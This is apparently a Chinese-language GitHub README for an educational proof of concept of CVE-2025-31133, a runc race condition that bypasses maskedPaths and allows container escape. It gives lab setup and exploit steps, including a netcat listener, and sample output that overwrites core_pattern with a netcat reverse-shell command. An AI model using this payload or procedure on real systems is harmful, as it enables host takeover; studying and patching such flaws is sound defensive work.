C-h4ck-0/Learn-about-cve-2025-31133-poc
GitHub: C-h4ck-0/Learn-about-cve-2025-31133-poc
针对 runc 容器运行时 CVE-2025-31133 竞态条件漏洞的教学型 PoC,演示如何通过绕过 maskedPaths 保护实现容器逃逸。
Stars: 1 | Forks: 2
# 了解 CVE-2025-31133 PoC
## 概述
一个针对 **CVE-2025-31133** 的概念验证演示和学习环境,这是 runc 中的一个安全漏洞,允许通过竞态条件绕过 `maskedPaths` 保护。`maskedPaths` 旨在防止容器访问宿主机文件系统的敏感路径。
https://github.com/user-attachments/assets/d7b4ea43-6cab-4ac5-bb07-08bc46479910
### 漏洞详情
- **CVE ID**: CVE-2025-31133
- **组件**: runc (容器运行时)
- **攻击向量**: maskedPaths 处理中的竞态条件
- **影响**: 容器逃逸
### 工作原理
该漏洞利用了以下竞态条件:
1. 容器配置了 `maskedPaths` 以保护敏感文件(例如,`/proc/sys/kernel/core_pattern`)
2. 在容器初始化期间,在以下操作之间发生竞态条件:
- 删除容器 rootfs 中的设备节点 (`/dev/null`)
- 重新创建该设备节点
3. 这个时间窗口允许绕过掩码路径保护
4. 攻击者可以写入本应被掩码保护的受保护文件
## ⚠️ 免责声明
**此仓库仅供教育目的使用。**
- 请仅在隔离的、受控的环境中使用
- 请勿在没有明确测试权限或非本人所有的系统上使用
- 作者不对任何代码滥用行为负责
- 此漏洞利用可能导致系统不稳定或数据丢失
## 前置条件
- Linux 系统(推荐使用 Ubuntu)
- Root/sudo 权限
- 互联网连接
- 对容器运行时和安全性的基本了解
## 设置说明
### 1. 克隆或下载此仓库
```
git clone https://github.com/C-h4ck-0/Learn-about-cve-2025-31133-poc.git
cd Learn-about-cve-2025-31133-poc
```
### 2. 运行实验环境设置脚本
`lab-setup.sh` 脚本将会:
- 安装依赖项
- 设置存在漏洞的 runc v1.2.0
```
chmod +x lab-setup.sh
./lab-setup.sh
```
### 3. 验证设置
检查是否已安装存在漏洞的 runc 版本:
```
runc --version
```
你应该会看到 `1.2.0` 或类似版本。
## 运行漏洞利用
### 基本用法
1. 在你的攻击者机器上**启动一个监听器**以接收反弹 shell:
```
nc -lnvp
```
2. **运行漏洞利用脚本**:
```
chmod +x cve-2025-31133-exploit.sh
./cve-2025-31133-exploit.sh
```
3. 在出现提示时**提供所需信息**:
- 攻击者 IP 地址
- 攻击者端口(你的监听器运行的端口)
### 预期输出
成功后,你应该会看到:
```
[*] Compiling race condition exploit binary...
[*] Starting exploit attempts...
[*] Target: /proc/sys/kernel/core_pattern
[*] Backing up /proc/sys/kernel/core_pattern...
[*] Backup created at /tmp/core_pattern.bak
[*] Current content of target:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
====================================================
[*] Testing delay: 5 microseconds
====================================================
X..
[+] ========================================
[+] SUCCESS! Exploit succeeded.
[+] ========================================
[+] Original content:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
------------------------------------------------
[+] Modified content:
|/bin/nc.traditional -e /bin/bash
------------------------------------------------
./exploit.sh: line 148: 7068 Segmentation fault (core dumped) sleep 5
[*] Restoring original content...
[*] Restoration complete.
```
一个反弹 shell 连接应该会建立到你的监听器。
## 缓解措施
要防御此漏洞:
1. **更新 runc** 到已修补的版本(v1.2.1 或更高版本)
2. **定期更新容器运行时**
3. **使用最小权限原则** - 在非 root 用户命名空间中运行容器
## 参考文献
- [邮件存档](https://seclists.org/oss-sec/2025/q4/138)
- [漏洞 PoC GitHub 仓库](https://github.com/skynet-f-nvidia/CVE-2025-31133)
## 备注
- 由于竞态条件的特性,漏洞利用可能需要多次尝试才能成功
- 成功率取决于系统负载和时机
- 脚本会在成功利用后自动恢复原始的 `core_pattern`
- 清理工作通过 trap 处理程序自动完成
## 许可证
本项目仅提供用于教育目的。请负责任且符合道德规范地使用。
**请记住**:请始终负责任地使用安全研究工具,并且仅在你拥有或已获得明确测试权限的环境中使用。
标签:CVE-2025-31133, Docker安全, exploit, maskedPaths, PoC, runc, Web截图, Web报告查看器, 协议分析, 子域名枚举, 容器安全, 容器逃逸, 应用安全, 暴力破解, 权限提升, 概念验证, 漏洞分析, 漏洞复现, 竞态条件, 系统安全, 网络安全, 路径探测, 隐私保护